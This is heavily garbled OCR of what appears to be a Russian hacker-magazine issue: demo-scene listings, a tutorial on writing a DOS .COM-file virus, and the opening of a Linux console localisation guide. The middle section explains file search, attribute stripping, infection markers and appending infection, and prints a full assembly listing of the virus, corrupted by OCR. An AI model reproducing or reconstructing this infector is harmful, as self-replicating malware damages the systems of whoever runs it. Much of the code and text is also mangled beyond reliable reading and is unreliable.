Ѵіа§га Ріеѵііегз 
Иагіециі п Меніегз 
СаІсИ 22 Реріау 
МопосИготе І_етоп ]'ісІЕ 
2арріп§Ѵіг1иа1 Рапіазіез 
Брасе Мап§о Вирегзііііоп 



Мекка’ 99 

ТІіе СаИіегіп§’99 
ТІіе СаІІіепп§’99 
АтЫепсе’99 
АББетЫу’ 99 
Ріиіопі ит’ 99 
ТІіе СаИіегіп§’99 
Апа1о§ие’99 
Еизкаі ’ 99 
АтЫепсе’99 



И, наконец, 10 самых крутых ультра-трекерных компо- 
зиций, которые ты просто обязан услышать, чтобы дать 
своим ушам мега-кайфовое супер-трекер-наслажде- 
ние! 



Кооііп’ аі 

АтЫепсе’99 Ш 
Мопитепі Моду 
зесопсі Ііте Оиазіап 
Роиіе Піги 

Ва§ИсІасІ гесгеаііоп 
ібо Руо-ОШ 
Рог А 

Іліогісі Іл/іід Вііз 
5Мап§е 0! МоосІ 5апд5 
Уоиг еуез Ріѵегзе 
СРУ М Огдег 
СИеезе & НаттопсІ Віззт 



АтЫепсе’99 
АББетЫу’ 99 
АББетЫу’ 99 

АББетЫу’ 99 
АтЫепсе’99 

Еи5каГ99 

Конструкции Хаоса’ 99 
Ргоху’99 
АтЫепсе’99 
ТІіе Са11іег1п§’99 







Серия Ѵшп Серия ІпіюѴізюп Серия РюѴЫоп Серия ШѴі$Ъп 



ЛгНЗІГЯНЛЬ 15": 17". 
[ШгпчкнйНии. 
ІЙЙііОйй; ]6УЫ2М 



/Інзішаль IV: 17"; 1^21". 
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Итак, первый вирь будет полностью 
на асме и предназначен для зараже- 
ния сот-файлов. Это самый простой 
вариант вируса и самый старый. Для 
программирования понадобится ком- 
пилятор (например, ТигЬо АззетЫег или МА8М), ком- 
поновщик (ТигЬо Упкег сойдет) и... конечно, редактор, 
где можно спокойненько попользоваться всеми сервис- 
ными фишками. Я, например, пользуюсь встроенным 
редактором Эоз №ѵіда№г'а. Это очень удобно по сле- 
дующей причине - написал, сохранил и тут же, не зак- 
рывая окно с файлом, можно скомпилить, прилинковать 
и посмотреть, как работает :). А потом сразу запускать 
Крякер Инета :))). Кстати, насчет “посмотреть, как ра- 
ботает” - поаккуратней. Один мой знакомый тоже лю- 
бил побаловаться с “живыми” вирями. Выделил для 
этого отдельный диск на 240тЬ, засадил туда несколь- 
ко игр и пустил несколько “зверей”. Но проблема зак- 
лючалась не в вирях, а в кривых руках моего знакомо- 
го, который не сумел правильно поправить исходники, 
чтобы те не выползали за пределы диска. Вот... в об- 
щем, теперь мой знакомый с вирями обращается весь- 
ма аккуратно. Советую не повторять его ошибок. Хотя 
выковыривать какой-нибудь Садііагі из Іазт.ехе для ко- 
го-то будет полезным занятием :). Хотя бы опыт появит- 
ся. Опыт - сын ошибок трудных... (с) А.С. Пушкин. 



Ну, понеслось! 



А теперь, собственно, программирование. Для начала 
небольшой шаблон, который обычно сохраняют отдель- 
но и начинают уже с него. Но это в принципе дело вку- 
са, а я рассказываю, как делаю сам. 

і 



Что такое огд, зедтепі и аззите, я рассказывать не бу- 
ду - зачем лишнее в голову грузить - итак груженые :). 
А вообще, эта статья - не РАО по асму, поэтому советую 
обзавестись соответствующими факами и доками, для 
внеклассного чтения, так сказать :). А вот почему там 
стоит просто ВЕШ, объясню: системный стек при вы- 
полнении сот-программы инициализируется нулем. 
Следовательно, ВЕШ выберет из стека одно слово - 
значение, равное нулю, и выскочит на 08:0000. А там 
всегда стоит ІІЧТ 20Н, что и оборвет исполнение прог- 
раммы. Конечно, можно было написать ІІЧТ 20Н или да- 
же МОѴ АХ,4С00Н и ІІ\ІТ 21 И... но это дело вкуса. И рас- 
стояния между указательным пальцем и мизинцем при 
распальцовке \т/ :). 





После того как в предыдущей статье я рассказал о вирусах и даже попробовал их каким-то об- 
разом разделить по группам, наступил момент, когда “теория хороша, а практика - еще страш- 
нее”. Чтобы сразу не бросаться на амбразуру, начну с простенького, а потом доберусь и до 
вкусненького. Конечно, писать вирусы или разбираться в них - это отнюдь не просто, это тре- 
бует определенных усилий, а главное - желаний. Желаний творить :). Ну а сейчас учиться и еще 
раз учиться. Как завещал вирус коммунизма :). И не забывай, что вирмейкер - это прежде все- 
го - отличный программер. Создание вируса нужно для того, чтобы победить самого себя, до- 
казать всем, что возможно сделать крохотную программку, которая сможет противостоять ог- 
ромным сложным программам-антивирусам. Вот где искусство! 



Созданный шаблон можно потом будет нарастить вся- 
кими функциями, чтобы не писать каждый раз все зано- 
во. Это обычно экономит уйму времени, которое можно 
потратить на более приятные занятия. Братишка, пивко 
мое и девочек неподалеку не видал? :) 

Перед самым главным необходимо немного теории. 
Напомню, что все действия, совершаемые вирусом, 
можно разбить на несколько частей: 



- поиск файлов 

- выборка файлов, годящихся для заражения 

- определение зараженности файлов 

- собственно заражение 

- выполнение каких-либо дополнительных действий 

Поиск файлов нерезидентный сот-вирус, о котором я 
рассказываю, может проводить, как минимум, двумя 
способами. Первый - непосредственное чтение РАТ 
дисков и выцарапывание оттуда файлов. Второй - поль- 
зование функциями сервисного прерывания 008 ІМ - 
21 И. Первый метод имеет очень большой недостаток - 
он обладает универсальностью, поскольку в дикой при- 
роде, кроме РАТ- 16, существует еще и РАТ-32, и всякие 
І\ІТР8... В общем, заморочки, а в результате - непонят- 
ки. И вникать без особой надобности в них - сущий ма- 
зохизм. Поэтому все живые на данный момент вирии 
для 008 поголовно пользуются вторым методом. Да и 
проще он намного. Ріо, как и все хорошее, этот метод 
имеет отрицательное качество: по вызовам прерывания 
21 РІ антивирусы определяют присутствие вируса в фай- 
ле. Ріо об этом я уже писал в прошлом номере. 

Общего алгоритма нахождения исполнимого файла не 
существует и существовать не может. Каждый делает 
по-своему. Кто-то просто банально обходит текущий 
каталог. Кто-то ищет в нескольких каталогах или прос- 
матривает только несколько файлов в каждом каталоге. 
Я думаю, что для наиболее быстрого размножения (а 
это основная составляющая выживаемости вируса) по- 
дойдет следующий способ: 



а более продвинутые вири - начинают еще и размно- 
жаться, типа продолжать популяцию :). 

Заражение сот-файлов довольно простая процедура 
из-за формата самих сотков. Никаких внутренних таб- 
лиц и релокейшенов, никаких новых форматов - сот-ки 
никто не апгрейдил с тех времен, когда Полтергейтс 
был еще программистом. 

Существует два наиболее известных алгоритма зараже- 
ния сот-файлов: 



- оѵегміііпд 

Первые байты жертвы помещаются в конец файла, по- 
том перезаписываются телом вируса. Когда файл за- 
пускают - запускается, естественно, вирус, который 
после небольшой гимнастики с файлами возвращает 
все на свои места. Этот метод немного заморочен, и 
приходится делать слишком много лишних телодвиже- 
ний. Можно, правда, просто считывать весь файл-жер- 
тву, писать код вируса, а потом просто дописывать жер- 
тву в конец. Так, конечно, намного проще. 

- аррепсііпд 

Код вируса дописывается в конец сот-ка. Затем пер- 
вые три байта жертвы сохраняются и перезаписывают- 
ся в файле на Ж/САІІ ѴігизЗМ Самый экономич- 
ный и популярный метод (миф универсал - экономит 
капитал :)). Кроме того, присутствие в файле первой 
командой Ж/САІІ Ѵігиз ЗіаіІ - может послужить воз- 
можным признаком того, что файл уже заражен. 



Придумать, конечно, можно еще с десяток методов 
дойдя до таких извратов, как поиск процедур и свобод- 
ных участков в файлах-жертвах. А ты пробовал вклю- 
чить комп большим пальцем ноги, удерживая монитор 
мизинцами? :) Но для первого нерезидентного виря 
хватит и этого. Я опишу первый метод подробно, но в 
листинг вируса пойдет второй. 

В общем, пора закончить с теорией и приступить к 
практике. Можно даже считать, что вирус уже написан - 
осталось его накодить :). 






- найти первые несколько файлов в текущем каталоге 

- повторить то же самое для родительского каталога 

- выбирать подкаталоги и искать там 

Т.е. вирусы, запущенные из С:\ и из 
С:\Іпіегпеі\0оѵѵпІоа(і\Ѵігиз будут распространяться 
одинаково быстро по всему диску. Кто учил биологию, 
скажет, что теперь ареал этой популяции - весь диск, 



Что, уже пора? 



Когда вирус получит управление, его тело - код и дан- 
ные - будут находиться не в самом начале, а на некото- 
ром расстоянии (которое есть ни что иное, как размер 
жертвы). Это необходимо учитывать, когда вирь обра- 
щается к данным и процедурам, вызывая их по 
ЭМР/САИ ИЕАВ. Как это сделать? (наложенным плате- 
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жом перечисляй мне - помогу, расчетный счет в конце 
телепередачи. :)) Два варианта навскидку - вычислять 
требуемое смещение к данным еще в процессе зараже- 
ния и вычислять его на ходу, прямо при запуске виря. Я 
выбрал второе - оно показалось мне лучше, универ- 
сальнее что ли. А что выберешь ты, зависит от твоей 
фантазии и ловкости рук, конечно: 



; команда САН ІЧЕАВ занимает три байта, 

; поэтому САН $+3, есть просто вызов следующей 
; команды. В стеке появится слово со значением ІР 
; следующей команды. 

рор ах 

; осталось только взять его и 

зиЬ ах,ойзеІ епігу 

ѵігиз+З ; поправить то, что получилось на ІР 
; команды САН, а не РОР АХ 

тоѵ Ьр,ах 

; после этого его можно положить куда-нибудь для 
; дальнейшего использования 



Обращения к данным и процедурам виря теперь нужно 
делать только с добавлением ВР к их адресам. Тогда 
все они будут корректно считаны/записаны/вызваны. 
Т.е. вместо 




и все адреса рассчитывать соответственно. Есть один 
момент, о котором я хотел бы пробулькать пивом, бро- 
дящим со вчерашнего дня в моем желудке. Чтобы выяс- 
нить адрес, не нужно постоянно добавлять ВР к нор- 
мальному смещению вот так: 




На это уходит уйма байт, которые пригодятся для дру- 
гого. Гораздо лучше воспользоваться старым добрым 
І_ЕА (Іоаб еМѵе абсігезз), который советовал исполь- 
зовать в своей книжке добрый дядька Питер Нортон: 




Раз, два, три, четыре, пять - я иду искать 



Вирус должен сохранить состояние среды, в которую 
его запихали не без помощи ІИТ 21 Н. Для поиска я вос- 
пользуюсь РіпсІРігзі и РіпсІМехі из ІІ\ІТ 21 Н. Они исполь- 
зуют РТА, которая дефолтом располагается с 128 байта 



в Р8Р. Там же, кстати, лежат параметры, которые были 
переданы программе в командной строке. И как только 
я вызову РіпсІРігзІ или РіпсІІ\ІехІ с явным намерением по- 
хулиганить, все эти параметры просто исчезнут во мра- 
ке небытия. Именно поэтому ША сохраняется. Все-та- 
ки не надо лишний раз высовывать голову из окопа, 
обнаруживая свое (вируса) присутствие в файле. Мо- 
гут ведь и заметить. Итак, ША нужно сохранить. Для 
этого нужно иметь где-то буфер в 128 байт. Но не 
стоит делать так: 



ШАМег 6Ь 



Это увеличит размер тела вируса аж на 128 байт! Эти 
1 28 байт иногда могут оказаться больше, чем сам вирь. 
Когда вирус получит управление, ШАЬийег будет нахо- 
диться в конце сот-ка. При запуске сот-файл получает 
доступ ко всей свободной памяти, лежащей за его кон- 
цом (и не только там, не будем распространяться о 
местонахождении концов :)). Что мешает использовать 
эту свободную память прямо в он-лайне? Поэтому в 
іе листинга нужно поставить: 



ШАМег бЬ 



Такой ШАЬийег к файлу не линкуется. Что весьма уко- 
рачивает аппетиты виря. 

Кроме ЭТА, естественно, нужно сохранять все исполь- 
зуемые регистры. Некоторые из них сохранять необяза- 
тельно, но восстанавливать придется все. :) Просто ре- 
гистры АХ, ОХ, ВХ, СХ, ВР, 81, д\ равны нулю, когда 
стартует СОМ. Сегментные регистры в вире для сот- 
ков не меняются - просто не нужны данные в других 
сегментах. Ну... мне не нужны, а кому-то :) может и 
понадобятся. 

Теперь, напрягая свой склероз, надо вспомнить: каким 
именно был алгоритм поиска жертвы? А! В родитель- 
ском каталоге и в текущем ищем сот-файлы, плюс еще 
ищем во всех подкаталогах текущего каталога. Неужели 
все так просто? Конечно, нет!!! Тут появляется одна 
проблема: когда вирь будет перебирать подкаталоги, 
он будет в них заходить, чтобы поискать там сот-ки. То 
есть он снова вызовет РіпбРігзІ, но уже для файлов, а не 
для каталогов. И запортит данные для каталогов в ЭТА. 
Вернувшись назад, вирь не сможет продолжить свой 
тримуфально-победный хулигано-бандитский путь. 
Значит, нужно завести еще одну ША. Не много ли? Нет, 
ведь они все равно не линкуются к файлу, а памяти для 
запуска сот-ка обычно больше чем даже килобайт, так 
что жаловаться не придется. ША для каталогов я назвал 
ШАЬийег, а для файлов зиЬШАЬиЯег. 

Чтобы сэкономить пару байт на поиске, я написал про- 
цедурку ЖКАВОІШ, которая просто юзает НпбРігзІ, 
РіпбМехІ, а потом вызывает то, что я ей подсуну. ЭІРІІ- 
ТІІ_ - как раз одна из двух процедур, которые я пропи- 
сываю для ЖКАВОІІМЭ: 

тоѵ ѵѵогб ріг [Ьр+ійіІ],(оЯзеІ бігиІіІ)-(оКзеІ ійіІ)-2 
Разницу приходится вычислять потому, что я использую 



САН МЕАВ, а все такие вызовы относительны - то есть 
адрес нужно давать отсчитывая от текущего. 

В ЭІВІЖ нужно переставить ЭТА на зиЬШАЬийег, что- 
бы можно было искать файлы, а потом включить 
ѴѴАІ_КАВОІ№ прописав для нее РИЕІЖ. 

РІІ_ЕІЛ1І_ проверяет все найденные под маску *.СОМ 
файлы на возможность заражения: 

- файл должен быть по размерам в границе от 512 до 
64000 байт. 

- это не должен быть СОММАШ.СОМ, который на са- 
мом деле не всегда СОМ 

- файл должен быть доступен (РИДЛИ снимает все ат- 
рибуты, запоминая их) 

Если файл подходит - вызывается іпіесіесі Іііе. Была бы 
жертва - вирь найдется ;)! 

Обе процедуры устанавливают Саггу флаг, когда необ- 
ходимо прекратить поиск, и снимают его, когда поиск 
можно продолжать. ѴѴАІ_КАВОІШ этот флаг проверяет 
и действует по обстановке, как сказал шеф. :). Прямо 
АРІ вениковский получился! 



Что в имени тебе моем - ты оцени 
груди объем! 

Весьма актуальная тема. :) Вирус должен быть неболь- 
шим, а вирус на асме - просто обязан таковым быть. 
Поэтому я скажу несколько слов об оптимизации. Сам 
процесс довольно увлекателен (патологоанатомы тоже 
считают свою работу - увлекательной :)), поскольку зас- 
тавляет крутиться шарики в черепной коробке немного 
быстрее, чем обычно. Хороший пример - использова- 
ние І_ЕА вместо МОѴ ОХДОЭВ; ЭХ,ВР. Кроме того, 
команда присвоения регистр-регистр обычно занимает 
два байта. А ведь можно обойтись одним, если значе- 
ние в регистре-источнике больше не понадобится. Как 
именно? Пока подумай сам, а я замечу, что кроме, нап- 
ример, ОВ АХ, АХ - проверки того, что АХ = 0, сущес- 
твует еще и БЕС АХ, которая вполне сыграет ту же роль, 
если значение в АХ в дальнейшем все равно пропадет. 
Ну что, еще не догадался как присвоить регистр-регис- 
тр одним байтом? 



Доктор, я буду жить? 



Чтобы файл открыть, нужно знать его имя. Так как ниг- 
де я не использовал такие функции, как СНЭІВ и 
ЭЕТСІШЕМТШ, то имя должно быть полным, чтобы 
файлы открывались не только в текущем, но и в роди- 
тельском каталоге, и в подкаталогах. В процессе поис- 
ка вирь должен подправлять значение текущего катало- 
га соответственно тому, где он файлы ищет. Потом к 
этому каталогу добавляется имя “найденыша”. Вот та- 
кие чебуреки. 

Что-то я отвлекся. Вернемся к нашим... эээ... парази- 
там. :) Жертва есть, значит хакер ее заразит. Первым 
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делом, прочитать первые три байта в специально отве- 
денную для этой цели область - она должна быть вклю- 
чена в тело вируса, в отличие от всяких временных дан- 
ных, вроде областей БТА. Затем нужно перескочить в 
конец вируса (снова концы да концы - пошляк :)) и про- 
честь там два байта. Ведь перед тем как заразить, нуж- 
но проверить - не заразный (в смысле, не зараженный) 
ли уже этот файл. Проверить это достаточно просто - 
поместить в конец тела вируса какую-нибудь метку. Ес- 
ли потом в потенциальной жертве (файле) метка при- 
сутствует - значит файл заражен. 

Я сначала считываю первые три байта просто, чтобы не 
гонять указатель по файлам лишний раз. Программиро- 
вание должно быть экономным! Затем, начиная с конца 
файла, помещается собственно сам Его Величество 
Толстопопый I. :) Уютно поместившись в конце файла, 
правим первые три байта жертвы не бМР'ом, а САІІ'ом 
на себя! САН намного удобней! Когда это КАЛЛ был 
удобен? Было и такое время :). 

Все, хакер может звать юзеров - пусть приносят винты, 
он будет выгуливать зверушку. Листинг твари прила- 
гается. Желаю удачи. :) 



; СотХакер-вирь занимает ровно 512 байт, вместе с “личинкой” 512+4=516 байт. 
; написан специально для журнала Хакер 
; для использования исключительно 
; в образовательных целях (та-то во всей редакции винты упали :)). 
собе зедтепі Ьуіе риЫіс 

аззите сз:сосІе,сІ5:сосІе,е5:сосІе,55:сосІе 

огд 100П 

; возможные атрибуты файлов 
Іагеабопіу еци 01П 

ІаЬіббеп щи 02И 

Іазузіет еди 04П 



Іабіг 


еци 


ІОІі 




ІаагсИіѵе еци 


20І1 






еп!гу_роіп1: 6Ь 


0Е8Ь 






епігуаббг: 6Ь 


ОІІі, ООП 




; гоу ту вирус: (Ж ЕШѴѴІВІІ8 




геЬі 




; выход на ІІ\ГГ 20Ь 


епігу ѵігиз: саІІ 


$+3 




; получить ІР 




рор 


ах 






зиЬ 


ах,оЛзе! епІгуѵігиз+З 


; поправить его и использовать 




тоѵ 


Ьр,ах 


; в качестве добавки к 03 




СІб 




; шаг - вперед 




тоѵ 


аЬ,Ші 


; установим свою ВГА, 




Іеа 


бх, [Ьр+ОТАЬиІТег] 


; чтобы не портить Ш жертвы 




іпі 


21І1 






тоѵ 




; 'и дея? и дея нахозуея?' (с) анекдот 




іпі 


21І1 






абб 


аІ,’А’ 


; цифирки -> бюковки 




тоѵ 


[Ьр+сигтеп1біг],аІ 


; поставить Х:\ в раНі-дорогу к файлам 




тоѵ 


ѵюгб ріг [Ьр+сигтеп1біг+1],’\:’ 






тоѵ 


аЬ,471і 


; получим имя текущего каталога 




хог 


61,61 


; для нужд отечества 




Іеа 


зі , [Ьр+сигтепІбіг+3] 






іпі 


21І1 




еѵпехІзутЬ: ІобзЬ 


ОТ 


аІ,аІ 






]П2 


еѵпехІзутЬ 






бес 


зі 


; 51 - на конце имени текущего каталога 




стр 


Ьуіе ріг [зі-1],’Ѵ 






І? 


еѵ 1 


; просто добавить ‘V к концу, 




тоѵ 


Ьуіе ріг [зі],’Ѵ 


; если его там нет 




іпс 


зі 




еѵ 1: 


тоѵ 


Ьуіе ріг [Ьр+-\лсйтзсоип1] ,0 


; ноль файлов заражено с момента старта 




тоѵ 


сх,00010000Ь 


; перебирать все каталоги 




Іеа 


бх,[Ьр+бігтазк] 


; маска*. 




тоѵ 


ѵюгб ріг [Ьр+іІ],(оИзеІ бігиІіІ)-(оЛзеІ иИІ)-2 



; бігиііі будет вызываться для 
; каждого найденного каталога 



саІІ 


ѵѵаікагоипб 


; нагуляем аппетит 


ризЬ 


зі 


; допишем к текущему каталогу маску 


хсЬд 


зі,бі 




Іеа 


зі,[Ьр+соттазк] 




тоѵзѵѵ 






тоѵзѵѵ 






тоѵзѵѵ 






рор 


зі 




тоѵ 


аЬ,1АІі 


; для совместимости 


Іеа 


бх,[Ьр+5иЬ0ТАЬиНег] 




іпі 


211т 




тоѵ 


Ьуіе ріг [Ьр+ѵіс1ітзсоип1],0 


; ноль файлов заражено в своем каталоге 


тоѵ 


сх,1а_геабоп1у + 1а_зуз1ет + Ыііббеп + ІаагсЬіѵе 


Іеа 


бх,[Ьр+сиігепІбіг] 


; маска Х:\РАВЕЫТ\С11ВВЕШ\*.С0М 


тоѵ 


ѵюгб ріг [Ьр+иІІІ],(оИзеІ ШеиІІІНоИзеІ иИ1)-2 






; пройдемся по файлам нерадивого родителя 


саІІ 


ѵѵаікагоипб 


;}:-Е 


Іеа 


ах,[Ьр+сиггепІбіг+4] 


; мы в корневом каталоге? 


стр 


зі,ах 




]Ье 


е^изіехіі 


; родительским каталогом туг и не пахнет 


зіб 




; шаг -назад 
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ѵѵаікагоипсі ргос 



ѵѵа пехШІе: (ІЬ 

ийі сіѵѵ 



ѵѵаехіі: геіп 

ѵѵаікагоипсі епф 

сіітііі 



сІи_сорусІіг: кэсізЬ 



сіес 


зі 


; убрать последнее имя каталога 


сіес 


зі 




ІосІзЬ 






стр 


аІД’ 




Г* 


еѵ_2 


; пока не дойдем до предыдущего каталога 


іпс 


зі 




іпс 


зі 




ризіі 


зі 




хсф 


СІІ,ЗІ 




сИ 






Іеа 


зі,[Ьр+соттазк] 




тоѵзѵѵ 






тоѵзѵѵ 






тоѵзѵѵ 






рор 


зі 




тоѵ 


Ьуіе ріг [Ьр+ѵісіітзсоипі] ,0 


; ноль файлов заражено у родителя 


тоѵ 


сх.іагеасіопіу + 1а_зуз1ет + 1а_ІіісІсІеп + ІаагсЬіѵе 


Іеа 


сІх,[Ьр+сииепІсІіг] 


; маска Х;\РАЯЕЖ\*.СОМ 


тоѵ 


ѵѵогсі ріг [Ьр+иІІІ],(оИзеІІІІеиІіІ)-(оІІ5еІ иІІІ)-2 






; пройдемся по файлам нерадивого родителя 


саІІ 


ѵѵаікагоипсі 


;>:-Е 


нько жругляемся 




тоѵ 


аІі,1АІі 


; восстановим РТА жертвы 


тоѵ 


с1х,801і 




іпІ 


211і 




тоѵ 


(1і,1001і 


; восстановим испорченные 


Іеа 


зі, [Ьр+заѵесІЬуІез] 


; первые байты жертвы 


тоѵзѵѵ 






тоѵзЬ 






хог 


ах,ах 


; восстановим регистры 


тоѵ 


Ьх,ах 


; все они просто должны быть 


тоѵ 


сх,ах 


; равны нулю -вот почему их 


тоѵ 


фах 


; можно не сохранять 


тоѵ 


зі,ах 




тоѵ 


фах 




тоѵ 


Ьр,ах 




геіп 




; Ьапіаі!!! 


тоѵ 


аІі,4ЕІі 


; поиск подкаталогов или файлов 


ІПІ 


211і 




Іс 


ѵѵаехіі 


; в случае ошибки уйти по-английски, не прощаясь 


0Е8И 






0 




; подставляя сюда адреса процедур 


Іс 


ѵѵа_ехіІ 


; если сапу флаг стоит - на выход 


тоѵ 


аІі,4Ві 




ІПІ 


211і 




Іпс 


ѵѵапехіе 


; когда файлы закончатся - на выход 


ргос 






ризіі 


зі 




стр 


Ьуіе ріг [Ьр+ШАЬи11ег+ ІБі],’. 


’ ; а не фишки ли эго с точками? 


Іе 


Ьиехіі 




тоѵ 


аЬ,1АІі 


; чтобы не испортить РТА, которая 


Іеа 


сіх, [Ьр+зиЬОТАЬиіТег] 


; сод ержит запись о текущем каталоге 


ІПІ 


21І1 




хсіід 


СІІ,ЗІ 




Іеа 


5і,[Ьр+0ТАЬиНег+1Ві] 


; добавим к текущему пути каталог и маску 
; вместо МОѴ5В - чтобы в А1_ было значение, 


зіозЬ 




; которое переносим 


ог 


аІ,аІ 




П 


сІи_сорусІіг 




тоѵ 


Ьуіе ріг [сіі-1],’Ѵ 




ризіі 


СІІ 




Іеа 


5і,[Ьр+соттазк] 








тоѵзѵѵ 
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сх,Іа_геасІопІу + 1а_зузІет + ЫжМеп + Іаагсіііѵе 

сЬс, [Ьр+сиггепісііг] ; настала очередь для файлов 

ѵѵогсі ріг [Ьр+иІіІ],(оИзеІ ИІеи1ІІ)-(оМ Щ-2 

;йеий- каждому файлу! 

ѵѵаікагоипсі ; нагуляем проста зверский аппетит 

ѵѵогсі ріг [Ьр+іІ],(оМ (М)-(оМ іЛіі)-2 

; вернем на место сМ 

аіі, 1 Ай ; вернем прежнюю ОТА 

ск,[Ьр+ОТАЬийег] 

211і 

[Ьр+ѵісІітзсоипІ],5 ; насытились? 

сіи ехШттес! 



сіи ехіі: сіс 



сіи ехіИттесІ: зіс 




; размер файла в зиЬШАЬиКег+ІАІі: 

; 'что в имени тебе моем? ты оцени груди объем!' 
стр ѵѵогсі ріг [Ьр+зиЬ0ТАЬиИег+ 1 Аіі] ,5 1 2 
ІЬ Іиехіі 

стр ѵѵогсі ріг [Ьр+зиЬОТАЬиЙег+1 Аіі] ,60000 

; если слишком большой/маленький 

Іа Іи_ехіІ ; помахать ему ручкой 

стр ѵѵогсі ріг [Ьр+зиЬШАЬиКег+І Ві],’0С’ ; проверка на СОттапсІ.сот 
Іпе 1и_1 

стр ѵѵогсі ріг [Ьр+зиЬОТАЬиІІег+0231т],’ОМ’ ; проверка на соттаШ.сот 
Іе Іи_ехіІ ; он самый - его не заражать! 

ризіт зі 

хсіід сіі,5і 

Іеа 5і,[Ьр+зиЬ0ТАЬиІІег+1ЕІі] 

тоѵ сх,6 

гер тоѵзѵѵ ; имя файла копируется в сиггепісііг 

рор зі 

хог ах, ах 



аЦЬр+зиЬОТАЬиНег+1 Вт] ; АЬ - атрибуты найденного файла 
ах 






ах, 43011т 
сх,сх 

сіх, [Ьр+алтепЩ 
211т 

іпМіІе 

сх 

СІ1,СІТ 

ах, 4301 Іі 

сіх, [Ьр+сиггепісііг] 

211т 

[Ьр+ѵісІітзсоипІ],5 
Іи ехШттес! 



Іи ехіі: сіс 



; сделаем файл оовсем невинным 

; и розовым - установим ему 
; атрибуты в ноль 

; 'запятнаем чистую совесть' (с) Мопіса 



; восстанавливаются им старые атрибуты 



; не больше 5 файлов за один завтрак 



; с этим файлом все - теперь другой, следующий 




йшіііттесі: зіс 



; закончитъ поиск 
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ШеіІ 

іпіесіе 



ргос 



іі сіеап: 



ііехіі: 



геіп 

епф 

ризіі 

тоѵ 

іпі 

Р 

хсіід 

тоѵ 

тоѵ 

ризіі 

Іеа 

іпі 

тоѵ 

тоѵ 

тоѵ 

іпі 

тоѵ 

тоѵ 

рор 

Іеа 

іпі 

стр 

V 

а!і,401і 

тоѵ 

Іеа 

іпі 

тоѵ 

хог 

хог 

іпі 

тоѵ 

сіес 

тоѵ 

тоѵ 

тоѵ 

Іеа 

іпі 

іпс 

тоѵ 

іпі 

рор 

геіп 
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ах,ЗСЮ2Іі ; откроем файлик 

21И 

ііехіі 

Ьх,ах 

аІі.ЗВі ; прочтем первые три байта сразу 

сІ,3 

сх 

сіх, [Ьр+заѵесІЬуІез] 

21И 

ах, 42021т ; два байта до конца файла 

сх.ОРРРВі ;СШ=-2 

ФОРШ 
21 Іі 

зі,ах ; 51 - смещение до начала вируса 
аІг,ЗРІі 

сх ; СХ = 3, но ДОС все равно обрежет до 2 
ф[Ьр+$ѵѵар] 

211т 

ѵѵогб ріг [ф+зѵѵар],’Е:’ ; а не мы ли эго были в 
прошлый раз? 

І1_ехіі ; зд есь ре ступала лапа виря 

; запишется в конец 
сх,(оіізеі ѵітз_епс1)-(оіі5еІ епігуѵігиз) 
бх,[ф+1041і] 

21И 

ах,42001г доставим САІІ на себя в начале жертвы 
сх,сх 
(к, (к 
21 Іі 

Ьуіе ріг [ф+зѵѵар],0Е8іі 
зі 

[Ьр+зѵѵар+1],зі 

аіі,40іі ; ням-ням... 

сх,3 

сІх,[Ьр+зѵѵар] 

211т 

Ьуіе ріг [Ьр+ѵісіітзсоипі] 
аіі,ЗЕІі ; ик... 

21 Іі 



іпіесііііе 


епф 




; переменные, которые попадут в код вируса 


ѵісіітзсоипі 


6Ь 


0 


; количество жертв }:-Е 


заѵесІЬуІез 


6Ь 


90іі, 90іі, 90іт 


; сохраненные байты из жертвы 
; в исходнике - просто ШР'ы 


соттазк 


6Ь 


‘*.СОМ’,0 




бігтазк 




6Ь 


‘*.’Д0 


іпіесізідп 


6Ь 


‘:Е’ 


; признак инфицированное™ файла 


ѵігиз_епб: 


; неинициализированные переменные - в файл не попадают, на размер не влияют 


ОТШКег 


6Ь 


1 28 бир(?) 




зиЬОГАЬиііег 


6Ь 


1 28 бир(?) 




сиггепісііг 


6Ь 


80 бир(?) 




зѵѵар 




бѵѵ 


? 


сосіе 


епб 


епбз 

епігу^іпі 





Вопрос: Так как же все-таки установить одним байтом? 


Ответ: ХСНО Регистр, Регистр. То есть вместо 


тоѵ ах,Ьх 

вполне можно написать 






хсіід ах,Ьх 






если Ьх больше не нужен. 








ІШр :// і хЫ . 5іас к . пе( 



ГІ.'ХН Шиы 
Т" нлшм. 1Ь_ С^рС й-і 






начинке 



іквт - самый ткип,уп*рни,и 

источник ичф-ормащіи о компьютерном 

жепсэе 



Круглосуточно мы расснаэыьаем 
о новссчих и событиях компьютерного 
мира 



Наши тесты позволяют оценить ноаые 
процучть* и технологии и действии 




0040 



64 



31337/ЮНИКСОИД 



ХАКЕР > ФЕВРАЛЬ’Ѵ 2 К 



жшБЕаызилііБетБіЕнзон 

5тР) ))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))) 



у вот, ты себе и поставил Линукс. Те- 
перь ты гордо зовешься линуксоидом 
и хвастаешь перед всеми друзьями, 
вставляя фразы типа “Да ваш Мас- 
тдай - отстой!!! Вот я вчера такую 
КйЕ-шку качнул! С транспарентными окнами и офиги- 
тельным валпапером!”. Это все хорошо, конечно, толь- 
ко ты друзьям не говори, что письма их прочитать не 
можешь, потому как по дурости ѴѴіп снес, а под Лину- 
хом у тебя вместо русских букв вылезают какие-то зю- 
зюки. Да, друг мой, Линух не говорит при загрузке, что 
обнаружено новое устройство - юзер, и не спраши- 
вает, в какой кодировке его подавать. Все придется де- 
лать самому. 

Консоль : 

Начнем с русификации консоли. Я расскажу, как руси- 
фицировать ВА5Н (он устанавливается и используется 
по умолчанию по крайней мере в ВесіНаІ). Создай файл 
.іриігс в своей домашней директории и пиши в него 
следующее: 

$еІ теІа-!1а§ оп 
$еІ сопѵегі-теіа оіі 
$еІ оиіриі теіа оп 

Теперь засейвь все это дело и создай скрипт шз в ди- 
ректории /Ьіп. Создал? Умница, дочка. Теперь пиши в 
него: 

#Ьіп/Ьа$Іі 

ІоасІкеуБ 

/изг/іі Ь/кЬсІ/кеутарз/і 386/риег1;у/ги1 . ктар . §2 
сопзоіесііагз -Г /изг/іі ЬШ/сопзоМопЫСуг 
а8х16/ -т /изг/1іЬ/кЬсІ/соп501е1;гапсе/коі2а11; 
есііо -пе “\033(К” 

Сейвься и пиши в командой строке вот такую крутую 
вещь: сНтосІ +х гиз. Этим самым ты сделал наш 
скрипт запускаемым, а для проверки заходи с друго- 
го терминала (жмешь, например, АІ_Т+Р2). Если все в 
порядке - появляется строка Іюасііпд /изг/ІіЬ/кЬсІ 
/сопзоІеІгапз/Суг абхіб.дг. Переключаться между 
русским и английским можно с помощью клавиши 
АІ_Т. Если русский язык не пашет - значит у тебя от- 
